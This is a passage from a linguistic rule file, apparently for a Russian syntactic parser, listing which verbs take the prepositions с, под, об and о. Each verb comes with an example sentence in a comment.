rus_verbs:попасть{}, // Майкл попал в кольцо с десятиметровой дистанции
rus_verbs:падать{}, // снег падает с ветвей
rus_verbs:скрыться{} // Ее водитель, бросив машину, скрылся с места происшествия.
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:род} }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:парт} }
then return true
}
#endregion РОДИТЕЛЬНЫЙ
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:твор } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:род } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:с{} * }
then return false,-5
}
#endregion Предлог_С
/*
#region Предлог_ПОД
// -------------- ПРЕДЛОГ 'ПОД' -----------------------
fact гл_предл
{
if context { * предлог:под{} @regex("[a-z]+[0-9]*") }
then return true
}
// ПОД+вин.п. не может присоединяться к существительным, поэтому
// он присоединяется к любым глаголам.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:вин } }
then return true
}
wordentry_set Гл_ПОД_твор=
{
rus_verbs:извиваться{}, // извивалась под его длинными усами
rus_verbs:РАСПРОСТРАНЯТЬСЯ{}, // Под густым ковром травы и плотным сплетением корней (РАСПРОСТРАНЯТЬСЯ)
rus_verbs:БРОСИТЬ{}, // чтобы ты его под деревом бросил? (БРОСИТЬ)
rus_verbs:БИТЬСЯ{}, // под моей щекой сильно билось его сердце (БИТЬСЯ)
rus_verbs:ОПУСТИТЬСЯ{}, // глаза его опустились под ее желтым взглядом (ОПУСТИТЬСЯ)
rus_verbs:ВЗДЫМАТЬСЯ{}, // его грудь судорожно вздымалась под ее рукой (ВЗДЫМАТЬСЯ)
rus_verbs:ПРОМЧАТЬСЯ{}, // Она промчалась под ними и исчезла за изгибом горы. (ПРОМЧАТЬСЯ)
rus_verbs:всплыть{}, // Наконец он всплыл под нависавшей кормой, так и не отыскав того, что хотел. (всплыть)
rus_verbs:КОНЧАТЬСЯ{}, // Он почти вертикально уходит в реку и кончается глубоко под водой. (КОНЧАТЬСЯ)
rus_verbs:ПОЛЗТИ{}, // Там они ползли под спутанным терновником и сквозь переплетавшиеся кусты (ПОЛЗТИ)
rus_verbs:ПРОХОДИТЬ{}, // Вольф проходил под гигантскими ветвями деревьев и мхов, свисавших с ветвей зелеными водопадами. (ПРОХОДИТЬ, ПРОПОЛЗТИ, ПРОПОЛЗАТЬ)
rus_verbs:ПРОПОЛЗТИ{}, //
rus_verbs:ПРОПОЛЗАТЬ{}, //
rus_verbs:ИМЕТЬ{}, // Эти предположения не имеют под собой никакой почвы (ИМЕТЬ)
rus_verbs:НОСИТЬ{}, // она носит под сердцем ребенка (НОСИТЬ)
rus_verbs:ПАСТЬ{}, // Рим пал под натиском варваров (ПАСТЬ)
rus_verbs:УТОНУТЬ{}, // Выступавшие старческие вены снова утонули под гладкой твердой плотью. (УТОНУТЬ)
rus_verbs:ВАЛЯТЬСЯ{}, // Под его кривыми серыми ветвями и пестрыми коричнево-зелеными листьями валялись пустые ореховые скорлупки и сердцевины плодов. (ВАЛЯТЬСЯ)
rus_verbs:вздрогнуть{}, // она вздрогнула под его взглядом
rus_verbs:иметься{}, // у каждого под рукой имелся арбалет
rus_verbs:ЖДАТЬ{}, // Сашка уже ждал под дождем (ЖДАТЬ)
rus_verbs:НОЧЕВАТЬ{}, // мне приходилось ночевать под открытым небом (НОЧЕВАТЬ)
rus_verbs:УЗНАТЬ{}, // вы должны узнать меня под этим именем (УЗНАТЬ)
rus_verbs:ЗАДЕРЖИВАТЬСЯ{}, // мне нельзя задерживаться под землей! (ЗАДЕРЖИВАТЬСЯ)
rus_verbs:ПОГИБНУТЬ{}, // под их копытами погибли целые армии! (ПОГИБНУТЬ)
rus_verbs:РАЗДАВАТЬСЯ{}, // под ногами у меня раздавался сухой хруст (РАЗДАВАТЬСЯ)
rus_verbs:КРУЖИТЬСЯ{}, // поверхность планеты кружилась у него под ногами (КРУЖИТЬСЯ)
rus_verbs:ВИСЕТЬ{}, // под глазами у него висели тяжелые складки кожи (ВИСЕТЬ)
rus_verbs:содрогнуться{}, // содрогнулся под ногами каменный пол (СОДРОГНУТЬСЯ)
rus_verbs:СОБИРАТЬСЯ{}, // темнота уже собиралась под деревьями (СОБИРАТЬСЯ)
rus_verbs:УПАСТЬ{}, // толстяк упал под градом ударов (УПАСТЬ)
rus_verbs:ДВИНУТЬСЯ{}, // лодка двинулась под водой (ДВИНУТЬСЯ)
rus_verbs:ЦАРИТЬ{}, // под его крышей царила холодная зима (ЦАРИТЬ)
rus_verbs:ПРОВАЛИТЬСЯ{}, // под копытами его лошади провалился мост (ПРОВАЛИТЬСЯ ПОД твор)
rus_verbs:ЗАДРОЖАТЬ{}, // земля задрожала под ногами (ЗАДРОЖАТЬ)
rus_verbs:НАХМУРИТЬСЯ{}, // государь нахмурился под маской (НАХМУРИТЬСЯ)
rus_verbs:РАБОТАТЬ{}, // работать под угрозой нельзя (РАБОТАТЬ)
rus_verbs:ШЕВЕЛЬНУТЬСЯ{}, // под ногой шевельнулся камень (ШЕВЕЛЬНУТЬСЯ)
rus_verbs:ВИДЕТЬ{}, // видел тебя под камнем. (ВИДЕТЬ)
rus_verbs:ОСТАТЬСЯ{}, // второе осталось под водой (ОСТАТЬСЯ)
rus_verbs:КИПЕТЬ{}, // вода кипела под копытами (КИПЕТЬ)
rus_verbs:СИДЕТЬ{}, // может сидит под деревом (СИДЕТЬ)
rus_verbs:МЕЛЬКНУТЬ{}, // под нами мелькнуло море (МЕЛЬКНУТЬ)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // под окном послышался шум (ПОСЛЫШАТЬСЯ)
rus_verbs:ТЯНУТЬСЯ{}, // под нами тянулись облака (ТЯНУТЬСЯ)
rus_verbs:ДРОЖАТЬ{}, // земля дрожала под ним (ДРОЖАТЬ)
rus_verbs:ПРИЙТИСЬ{}, // хуже пришлось под землей (ПРИЙТИСЬ)
rus_verbs:ГОРЕТЬ{}, // лампа горела под потолком (ГОРЕТЬ)
rus_verbs:ПОЛОЖИТЬ{}, // положил под деревом плащ (ПОЛОЖИТЬ)
rus_verbs:ЗАГОРЕТЬСЯ{}, // под деревьями загорелся костер (ЗАГОРЕТЬСЯ)
rus_verbs:ПРОНОСИТЬСЯ{}, // под нами проносились крыши (ПРОНОСИТЬСЯ)
rus_verbs:ПОТЯНУТЬСЯ{}, // под кораблем потянулись горы (ПОТЯНУТЬСЯ)
rus_verbs:БЕЖАТЬ{}, // беги под серой стеной ночи (БЕЖАТЬ)
rus_verbs:РАЗДАТЬСЯ{}, // под окном раздалось тяжелое дыхание (РАЗДАТЬСЯ)
rus_verbs:ВСПЫХНУТЬ{}, // под потолком вспыхнула яркая лампа (ВСПЫХНУТЬ)
rus_verbs:СМОТРЕТЬ{}, // просто смотрите под другим углом (СМОТРЕТЬ ПОД)
rus_verbs:ДУТЬ{}, // теперь под деревьями дул ветерок (ДУТЬ)
rus_verbs:СКРЫТЬСЯ{}, // оно быстро скрылось под водой (СКРЫТЬСЯ ПОД)
rus_verbs:ЩЕЛКНУТЬ{}, // далеко под ними щелкнул выстрел (ЩЕЛКНУТЬ)
rus_verbs:ТРЕЩАТЬ{}, // осколки стекла трещали под ногами (ТРЕЩАТЬ)
rus_verbs:РАСПОЛАГАТЬСЯ{}, // под ними располагались разноцветные скамьи (РАСПОЛАГАТЬСЯ)
rus_verbs:ВЫСТУПИТЬ{}, // под ногтями выступили капельки крови (ВЫСТУПИТЬ)
rus_verbs:НАСТУПИТЬ{}, // под куполом базы наступила тишина (НАСТУПИТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // повозка остановилась под самым окном (ОСТАНОВИТЬСЯ)
rus_verbs:РАСТАЯТЬ{}, // магазин растаял под ночным дождем (РАСТАЯТЬ)
rus_verbs:ДВИГАТЬСЯ{}, // под водой двигалось нечто огромное (ДВИГАТЬСЯ)
rus_verbs:БЫТЬ{}, // под снегом могут быть трещины (БЫТЬ)
rus_verbs:ЗИЯТЬ{}, // под ней зияла ужасная рана (ЗИЯТЬ)
rus_verbs:ЗАЗВОНИТЬ{}, // под рукой водителя зазвонил телефон (ЗАЗВОНИТЬ)
rus_verbs:ПОКАЗАТЬСЯ{}, // внезапно под ними показалась вода (ПОКАЗАТЬСЯ)
rus_verbs:ЗАМЕРЕТЬ{}, // эхо замерло под высоким потолком (ЗАМЕРЕТЬ)
rus_verbs:ПОЙТИ{}, // затем под кораблем пошла пустыня (ПОЙТИ)
rus_verbs:ДЕЙСТВОВАТЬ{}, // боги всегда действуют под маской (ДЕЙСТВОВАТЬ)
rus_verbs:БЛЕСТЕТЬ{}, // мокрый мех блестел под луной (БЛЕСТЕТЬ)
rus_verbs:ЛЕТЕТЬ{}, // под ним летела серая земля (ЛЕТЕТЬ)
rus_verbs:СОГНУТЬСЯ{}, // содрогнулся под ногами каменный пол (СОГНУТЬСЯ)
rus_verbs:КИВНУТЬ{}, // четвертый слегка кивнул под капюшоном (КИВНУТЬ)
rus_verbs:УМЕРЕТЬ{}, // колдун умер под грудой каменных глыб (УМЕРЕТЬ)
rus_verbs:ОКАЗЫВАТЬСЯ{}, // внезапно под ногами оказывается знакомая тропинка (ОКАЗЫВАТЬСЯ)
rus_verbs:ИСЧЕЗАТЬ{}, // серая лента дороги исчезала под воротами (ИСЧЕЗАТЬ)
rus_verbs:СВЕРКНУТЬ{}, // голубые глаза сверкнули под густыми бровями (СВЕРКНУТЬ)
rus_verbs:СИЯТЬ{}, // под ним сияла белая пелена облаков (СИЯТЬ)
rus_verbs:ПРОНЕСТИСЬ{}, // тихий смех пронесся под куполом зала (ПРОНЕСТИСЬ)
rus_verbs:СКОЛЬЗИТЬ{}, // обломки судна медленно скользили под ними (СКОЛЬЗИТЬ)
rus_verbs:ВЗДУТЬСЯ{}, // под серой кожей вздулись шары мускулов (ВЗДУТЬСЯ)
rus_verbs:ПРОЙТИ{}, // обломок отлично пройдет под колесами слева (ПРОЙТИ)
rus_verbs:РАЗВЕВАТЬСЯ{}, // светлые волосы развевались под дыханием ветра (РАЗВЕВАТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // глаза огнем сверкали под темными бровями (СВЕРКАТЬ)
rus_verbs:КАЗАТЬСЯ{}, // деревянный док казался очень твердым под моими ногами (КАЗАТЬСЯ)
rus_verbs:ПОСТАВИТЬ{}, // четвертый маг торопливо поставил под зеркалом широкую чашу (ПОСТАВИТЬ)
rus_verbs:ОСТАВАТЬСЯ{}, // запасы остаются под давлением (ОСТАВАТЬСЯ ПОД)
rus_verbs:ПЕТЬ{}, // просто мы под землей любим петь. (ПЕТЬ ПОД)
rus_verbs:ПОЯВИТЬСЯ{}, // под их крыльями внезапно появился дым. (ПОЯВИТЬСЯ ПОД)
rus_verbs:ОКАЗАТЬСЯ{}, // мы снова оказались под солнцем. (ОКАЗАТЬСЯ ПОД)
rus_verbs:ПОДХОДИТЬ{}, // мы подходили под другим углом? (ПОДХОДИТЬ ПОД)
rus_verbs:СКРЫВАТЬСЯ{}, // кто под ней скрывается? (СКРЫВАТЬСЯ ПОД)
rus_verbs:ХЛЮПАТЬ{}, // под ногами Аллы хлюпала грязь (ХЛЮПАТЬ ПОД)
rus_verbs:ШАГАТЬ{}, // их отряд весело шагал под дождем этой музыки. (ШАГАТЬ ПОД)
rus_verbs:ТЕЧЬ{}, // под ее поверхностью медленно текла ярость. (ТЕЧЬ ПОД твор)
rus_verbs:ОЧУТИТЬСЯ{}, // мы очутились под стенами замка. (ОЧУТИТЬСЯ ПОД)
rus_verbs:ПОБЛЕСКИВАТЬ{}, // их латы поблескивали под солнцем. (ПОБЛЕСКИВАТЬ ПОД)
rus_verbs:ДРАТЬСЯ{}, // под столами дрались за кости псы. (ДРАТЬСЯ ПОД)
rus_verbs:КАЧНУТЬСЯ{}, // палуба качнулась у нас под ногами. (КАЧНУЛАСЬ ПОД)
rus_verbs:ПРИСЕСТЬ{}, // конь даже присел под тяжелым телом. (ПРИСЕСТЬ ПОД)
rus_verbs:ЖИТЬ{}, // они живут под землей. (ЖИТЬ ПОД)
rus_verbs:ОБНАРУЖИТЬ{}, // вы можете обнаружить ее под водой? (ОБНАРУЖИТЬ ПОД)
rus_verbs:ПЛЫТЬ{}, // Орёл плывёт под облаками. (ПЛЫТЬ ПОД)
rus_verbs:ИСЧЕЗНУТЬ{}, // потом они исчезли под водой. (ИСЧЕЗНУТЬ ПОД)
rus_verbs:держать{}, // оружие все держали под рукой. (держать ПОД)
rus_verbs:ВСТРЕТИТЬСЯ{}, // они встретились под водой. (ВСТРЕТИТЬСЯ ПОД)
rus_verbs:уснуть{}, // Миша уснет под одеялом
rus_verbs:пошевелиться{}, // пошевелиться под одеялом
rus_verbs:задохнуться{}, // задохнуться под слоем снега
rus_verbs:потечь{}, // потечь под избыточным давлением
rus_verbs:уцелеть{}, // уцелеть под завалами
rus_verbs:мерцать{}, // мерцать под лучами софитов
rus_verbs:поискать{}, // поискать под кроватью
rus_verbs:гудеть{}, // гудеть под нагрузкой
rus_verbs:посидеть{}, // посидеть под навесом
rus_verbs:укрыться{}, // укрыться под навесом
rus_verbs:утихнуть{}, // утихнуть под одеялом
rus_verbs:заскрипеть{}, // заскрипеть под тяжестью
rus_verbs:шелохнуться{}, // шелохнуться под одеялом
инфинитив:срезать{ вид:несоверш }, глагол:срезать{ вид:несоверш }, // срезать под корень
деепричастие:срезав{}, прилагательное:срезающий{ вид:несоверш },
инфинитив:срезать{ вид:соверш }, глагол:срезать{ вид:соверш },
деепричастие:срезая{}, прилагательное:срезавший{ вид:соверш },
rus_verbs:пониматься{}, // пониматься под успехом
rus_verbs:подразумеваться{}, // подразумеваться под правильным решением
rus_verbs:промокнуть{}, // промокнуть под проливным дождем
rus_verbs:засосать{}, // засосать под ложечкой
rus_verbs:подписаться{}, // подписаться под воззванием
rus_verbs:укрываться{}, // укрываться под навесом
rus_verbs:запыхтеть{}, // запыхтеть под одеялом
rus_verbs:мокнуть{}, // мокнуть под лождем
rus_verbs:сгибаться{}, // сгибаться под тяжестью снега
rus_verbs:намокнуть{}, // намокнуть под дождем
rus_verbs:подписываться{}, // подписываться под обращением
rus_verbs:тарахтеть{}, // тарахтеть под окнами
инфинитив:находиться{вид:несоверш}, глагол:находиться{вид:несоверш}, // Она уже несколько лет находится под наблюдением врача.
деепричастие:находясь{}, прилагательное:находившийся{вид:несоверш}, прилагательное:находящийся{},
rus_verbs:лежать{}, // лежать под капельницей
rus_verbs:вымокать{}, // вымокать под дождём
rus_verbs:вымокнуть{}, // вымокнуть под дождём
rus_verbs:проворчать{}, // проворчать под нос
rus_verbs:хмыкнуть{}, // хмыкнуть под нос
rus_verbs:отыскать{}, // отыскать под кроватью
rus_verbs:дрогнуть{}, // дрогнуть под ударами
rus_verbs:проявляться{}, // проявляться под нагрузкой
rus_verbs:сдержать{}, // сдержать под контролем
rus_verbs:ложиться{}, // ложиться под клиента
rus_verbs:таять{}, // таять под весенним солнцем
rus_verbs:покатиться{}, // покатиться под откос
rus_verbs:лечь{}, // он лег под навесом
rus_verbs:идти{}, // идти под дождем
прилагательное:известный{}, // Он известен под этим именем.
rus_verbs:стоять{}, // Ящик стоит под столом.
rus_verbs:отступить{}, // Враг отступил под ударами наших войск.
rus_verbs:царапаться{}, // Мышь царапается под полом.
rus_verbs:спать{}, // заяц спокойно спал у себя под кустом
rus_verbs:загорать{}, // мы загораем под солнцем
ГЛ_ИНФ(мыть), // мыть руки под струёй воды
ГЛ_ИНФ(закопать),
ГЛ_ИНФ(спрятать),
ГЛ_ИНФ(прятать),
ГЛ_ИНФ(перепрятать)
}
fact гл_предл
{
if context { Гл_ПОД_твор предлог:под{} *:*{ падеж:твор } }
then return true
}
// для глаголов вне списка - запрещаем.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:твор } }
then return false,-10
}
fact гл_предл
{
if context { * предлог:под{} *:*{} }
then return false,-11
}
#endregion Предлог_ПОД
*/
#region Предлог_ОБ
// -------------- ПРЕДЛОГ 'ОБ' -----------------------
wordentry_set Гл_ОБ_предл=
{
rus_verbs:СВИДЕТЕЛЬСТВОВАТЬ{}, // Об их присутствии свидетельствовало лишь тусклое пурпурное пятно, проступавшее на камне. (СВИДЕТЕЛЬСТВОВАТЬ)
rus_verbs:ЗАДУМАТЬСЯ{}, // Промышленные гиганты задумались об экологии (ЗАДУМАТЬСЯ)
rus_verbs:СПРОСИТЬ{}, // Он спросил нескольких из пляжников об их кажущейся всеобщей юности. (СПРОСИТЬ)
rus_verbs:спрашивать{}, // как ты можешь еще спрашивать у меня об этом?
rus_verbs:забывать{}, // Мы не можем забывать об их участи.
rus_verbs:ГАДАТЬ{}, // теперь об этом можно лишь гадать (ГАДАТЬ)
rus_verbs:ПОВЕДАТЬ{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам (ПОВЕДАТЬ ОБ)
rus_verbs:СООБЩИТЬ{}, // Иран сообщил МАГАТЭ об ускорении обогащения урана (СООБЩИТЬ)
rus_verbs:ЗАЯВИТЬ{}, // Об их успешном окончании заявил генеральный директор (ЗАЯВИТЬ ОБ)
rus_verbs:слышать{}, // даже они слышали об этом человеке. (СЛЫШАТЬ ОБ)
rus_verbs:ДОЛОЖИТЬ{}, // вернувшиеся разведчики доложили об увиденном (ДОЛОЖИТЬ ОБ)
rus_verbs:ПОГОВОРИТЬ{}, // давай поговорим об этом. (ПОГОВОРИТЬ ОБ)
rus_verbs:ДОГАДАТЬСЯ{}, // об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ)
rus_verbs:ПОЗАБОТИТЬСЯ{}, // обещал обо всем позаботиться. (ПОЗАБОТИТЬСЯ ОБ)
rus_verbs:ПОЗАБЫТЬ{}, // Шура позабыл обо всем. (ПОЗАБЫТЬ ОБ)
rus_verbs:вспоминать{}, // Впоследствии он не раз вспоминал об этом приключении. (вспоминать об)
rus_verbs:сообщать{}, // Газета сообщает об открытии сессии парламента. (сообщать об)
rus_verbs:просить{}, // мы просили об отсрочке платежей (просить ОБ)
rus_verbs:ПЕТЬ{}, // эта же девушка пела обо всем совершенно открыто. (ПЕТЬ ОБ)
rus_verbs:сказать{}, // ты скажешь об этом капитану? (сказать ОБ)
rus_verbs:знать{}, // бы хотелось знать как можно больше об этом районе.
rus_verbs:кричать{}, // Все газеты кричат об этом событии.
rus_verbs:советоваться{}, // Она обо всём советуется с матерью.
rus_verbs:говориться{}, // об остальном говорилось легко.
rus_verbs:подумать{}, // нужно крепко обо всем подумать.
rus_verbs:напомнить{}, // черный дым напомнил об опасности.
rus_verbs:забыть{}, // забудь об этой роскоши.
rus_verbs:думать{}, // приходится обо всем думать самой.
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:информировать{}, // информировать об изменениях
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:заговорить{}, // заговорить об оплате
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:попросить{}, // попросить об услуге
rus_verbs:объявить{}, // объявить об отставке
rus_verbs:предупредить{}, // предупредить об аварии
rus_verbs:предупреждать{}, // предупреждать об опасности
rus_verbs:твердить{}, // твердить об обязанностях
rus_verbs:заявлять{}, // заявлять об экспериментальном подтверждении
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:прочитать{}, // он читал об этом в учебнике
rus_verbs:узнать{}, // он узнал об этом из фильмов
rus_verbs:рассказать{}, // рассказать об экзаменах
rus_verbs:рассказывать{},
rus_verbs:договориться{}, // договориться об оплате
rus_verbs:договариваться{}, // договариваться об обмене
rus_verbs:болтать{}, // Не болтай об этом!
rus_verbs:проболтаться{}, // Не проболтайся об этом!
rus_verbs:заботиться{}, // кто заботится об урегулировании
rus_verbs:беспокоиться{}, // вы беспокоитесь об обороне
rus_verbs:помнить{}, // всем советую об этом помнить
rus_verbs:мечтать{} // Мечтать об успехе
}
fact гл_предл
{
if context { Гл_ОБ_предл предлог:об{} *:*{ падеж:предл } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { * предлог:об{} @regex("[a-z]+[0-9]*") }
then return true
}
// остальные глаголы не могут связываться
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:предл } }
then return false, -4
}
wordentry_set Гл_ОБ_вин=
{
rus_verbs:СЛОМАТЬ{}, // потом об колено сломал (СЛОМАТЬ)
rus_verbs:разбить{}, // ты разбил щеку об угол ящика. (РАЗБИТЬ ОБ)
rus_verbs:опереться{}, // Он опёрся об стену.
rus_verbs:опираться{},
rus_verbs:постучать{}, // постучал лбом об пол.
rus_verbs:удариться{}, // бутылка глухо ударилась об землю.
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:царапаться{} // Днище лодки царапалось обо что-то.
}
fact гл_предл
{
if context { Гл_ОБ_вин предлог:об{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:об{} *:*{} }
then return false,-5
}
#endregion Предлог_ОБ
#region Предлог_О
// ------------------- С ПРЕДЛОГОМ 'О' ----------------------
wordentry_set Гл_О_Вин={
rus_verbs:шмякнуть{}, // Ей хотелось шмякнуть ими о стену.
rus_verbs:болтать{}, // Болтали чаще всего о пустяках.
rus_verbs:шваркнуть{}, // Она шваркнула трубкой о рычаг.
rus_verbs:опираться{}, // Мать приподнялась, с трудом опираясь о стол.
rus_verbs:бахнуться{}, // Бахнуться головой о стол.
rus_verbs:ВЫТЕРЕТЬ{}, // Вытащи нож и вытри его о траву. (ВЫТЕРЕТЬ/ВЫТИРАТЬ)
rus_verbs:ВЫТИРАТЬ{}, //
rus_verbs:РАЗБИТЬСЯ{}, // Прибой накатился и с шумом разбился о белый песок. (РАЗБИТЬСЯ)
rus_verbs:СТУКНУТЬ{}, // Сердце его глухо стукнуло о грудную кость (СТУКНУТЬ)
rus_verbs:ЛЯЗГНУТЬ{}, // Он кинулся наземь, покатился, и копье лязгнуло о стену. (ЛЯЗГНУТЬ/ЛЯЗГАТЬ)
rus_verbs:ЛЯЗГАТЬ{}, //
rus_verbs:звенеть{}, // стрелы уже звенели о прутья клетки
rus_verbs:ЩЕЛКНУТЬ{}, // камень щелкнул о скалу (ЩЕЛКНУТЬ)
rus_verbs:БИТЬ{}, // волна бьет о берег (БИТЬ)
rus_verbs:ЗАЗВЕНЕТЬ{}, // зазвенели мечи о щиты (ЗАЗВЕНЕТЬ)
rus_verbs:колотиться{}, // сердце его колотилось о ребра
rus_verbs:стучать{}, // глухо стучали о щиты рукояти мечей.
rus_verbs:биться{}, // биться головой о стену? (биться о)
rus_verbs:ударить{}, // вода ударила его о стену коридора. (ударила о)
rus_verbs:разбиваться{}, // волны разбивались о скалу
rus_verbs:разбивать{}, // Разбивает голову о прутья клетки.
rus_verbs:облокотиться{}, // облокотиться о стену
rus_verbs:точить{}, // точить о точильный камень
rus_verbs:спотыкаться{}, // спотыкаться о спрятавшийся в траве пень
rus_verbs:потереться{}, // потереться о дерево
rus_verbs:ушибиться{}, // ушибиться о дерево
rus_verbs:тереться{}, // тереться о ствол
rus_verbs:шмякнуться{}, // шмякнуться о землю
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:тереть{}, // тереть о камень
rus_verbs:потереть{}, // потереть о колено
rus_verbs:удариться{}, // удариться о край
rus_verbs:споткнуться{}, // споткнуться о камень
rus_verbs:запнуться{}, // запнуться о камень
rus_verbs:запинаться{}, // запинаться о камни
rus_verbs:ударяться{}, // ударяться о бортик
rus_verbs:стукнуться{}, // стукнуться о бортик
rus_verbs:стукаться{}, // стукаться о бортик
rus_verbs:опереться{}, // Он опёрся локтями о стол.
rus_verbs:плескаться{} // Вода плещется о берег.
}
fact гл_предл
{
if context { Гл_О_Вин предлог:о{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:вин } }
then return false,-5
}
wordentry_set Гл_О_предл={
rus_verbs:КРИЧАТЬ{}, // она кричала о смерти! (КРИЧАТЬ)
rus_verbs:РАССПРОСИТЬ{}, // Я расспросил о нем нескольких горожан. (РАССПРОСИТЬ/РАССПРАШИВАТЬ)
rus_verbs:РАССПРАШИВАТЬ{}, //
rus_verbs:слушать{}, // ты будешь слушать о них?
rus_verbs:вспоминать{}, // вспоминать о том разговоре ему было неприятно
rus_verbs:МОЛЧАТЬ{}, // О чём молчат девушки (МОЛЧАТЬ)
rus_verbs:ПЛАКАТЬ{}, // она плакала о себе (ПЛАКАТЬ)
rus_verbs:сложить{}, // о вас сложены легенды
rus_verbs:ВОЛНОВАТЬСЯ{}, // Я волнуюсь о том, что что-то серьёзно пошло не так (ВОЛНОВАТЬСЯ О)
rus_verbs:УПОМЯНУТЬ{}, // упомянул о намерении команды приобрести несколько новых футболистов (УПОМЯНУТЬ О)
rus_verbs:ОТЧИТЫВАТЬСЯ{}, // Судебные приставы продолжают отчитываться о борьбе с неплательщиками (ОТЧИТЫВАТЬСЯ О)
rus_verbs:ДОЛОЖИТЬ{}, // провести тщательное расследование взрыва в маршрутном такси во Владикавказе и доложить о результатах (ДОЛОЖИТЬ О)
rus_verbs:ПРОБОЛТАТЬ{}, // правительство страны больше проболтало о военной реформе (ПРОБОЛТАТЬ О)
rus_verbs:ЗАБОТИТЬСЯ{}, // Четверть россиян заботятся о здоровье путем просмотра телевизора (ЗАБОТИТЬСЯ О)
rus_verbs:ИРОНИЗИРОВАТЬ{}, // Вы иронизируете о ностальгии по тем временем (ИРОНИЗИРОВАТЬ О)
rus_verbs:СИГНАЛИЗИРОВАТЬ{}, // Кризис цен на продукты питания сигнализирует о неминуемой гиперинфляции (СИГНАЛИЗИРОВАТЬ О)
rus_verbs:СПРОСИТЬ{}, // Он спросил о моём здоровье. (СПРОСИТЬ О)
rus_verbs:НАПОМНИТЬ{}, // больной зуб опять напомнил о себе. (НАПОМНИТЬ О)
rus_verbs:осведомиться{}, // офицер осведомился о цели визита
rus_verbs:объявить{}, // В газете объявили о конкурсе. (объявить о)
rus_verbs:ПРЕДСТОЯТЬ{}, // о чем предстоит разговор? (ПРЕДСТОЯТЬ О)
rus_verbs:объявлять{}, // объявлять о всеобщей забастовке (объявлять о)
rus_verbs:зайти{}, // Разговор зашёл о политике.
rus_verbs:порассказать{}, // порассказать о своих путешествиях
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть о неразделенной любви
деепричастие:спев{}, прилагательное:спевший{ вид:соверш },
прилагательное:спетый{},
rus_verbs:напеть{},
rus_verbs:разговаривать{}, // разговаривать с другом о жизни
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
//rus_verbs:заботиться{}, // заботиться о престарелых родителях
rus_verbs:раздумывать{}, // раздумывать о новой работе
rus_verbs:договариваться{}, // договариваться о сумме компенсации
rus_verbs:молить{}, // молить о пощаде
rus_verbs:отзываться{}, // отзываться о книге
rus_verbs:подумывать{}, // подумывать о новом подходе
rus_verbs:поговаривать{}, // поговаривать о загадочном звере
rus_verbs:обмолвиться{}, // обмолвиться о проклятии
rus_verbs:условиться{}, // условиться о поддержке
rus_verbs:призадуматься{}, // призадуматься о последствиях
rus_verbs:известить{}, // известить о поступлении
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:напевать{}, // напевать о любви
rus_verbs:помышлять{}, // помышлять о новом деле
rus_verbs:переговорить{}, // переговорить о правилах
rus_verbs:повествовать{}, // повествовать о событиях
rus_verbs:слыхивать{}, // слыхивать о чудище
rus_verbs:потолковать{}, // потолковать о планах
rus_verbs:проговориться{}, // проговориться о планах
rus_verbs:умолчать{}, // умолчать о штрафах
rus_verbs:хлопотать{}, // хлопотать о премии
rus_verbs:уведомить{}, // уведомить о поступлении
rus_verbs:горевать{}, // горевать о потере
rus_verbs:запамятовать{}, // запамятовать о важном мероприятии
rus_verbs:заикнуться{}, // заикнуться о прибавке
rus_verbs:информировать{}, // информировать о событиях
rus_verbs:проболтаться{}, // проболтаться о кладе
rus_verbs:поразмыслить{}, // поразмыслить о судьбе
rus_verbs:заикаться{}, // заикаться о деньгах
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:печься{}, // печься о всеобщем благе
rus_verbs:разглагольствовать{}, // разглагольствовать о правах
rus_verbs:размечтаться{}, // размечтаться о будущем
rus_verbs:лепетать{}, // лепетать о невиновности
rus_verbs:грезить{}, // грезить о большой и чистой любви
rus_verbs:залепетать{}, // залепетать о сокровищах
rus_verbs:пронюхать{}, // пронюхать о бесплатной одежде
rus_verbs:протрубить{}, // протрубить о победе
rus_verbs:извещать{}, // извещать о поступлении
rus_verbs:трубить{}, // трубить о поимке разбойников
rus_verbs:осведомляться{}, // осведомляться о судьбе
rus_verbs:поразмышлять{}, // поразмышлять о неизбежном
rus_verbs:слагать{}, // слагать о подвигах викингов
rus_verbs:ходатайствовать{}, // ходатайствовать о выделении материальной помощи
rus_verbs:побеспокоиться{}, // побеспокоиться о правильном стимулировании
rus_verbs:закидывать{}, // закидывать сообщениями об ошибках
rus_verbs:базарить{}, // пацаны базарили о телках
rus_verbs:балагурить{}, // мужики балагурили о новом председателе
rus_verbs:балакать{}, // мужики балакали о новом председателе
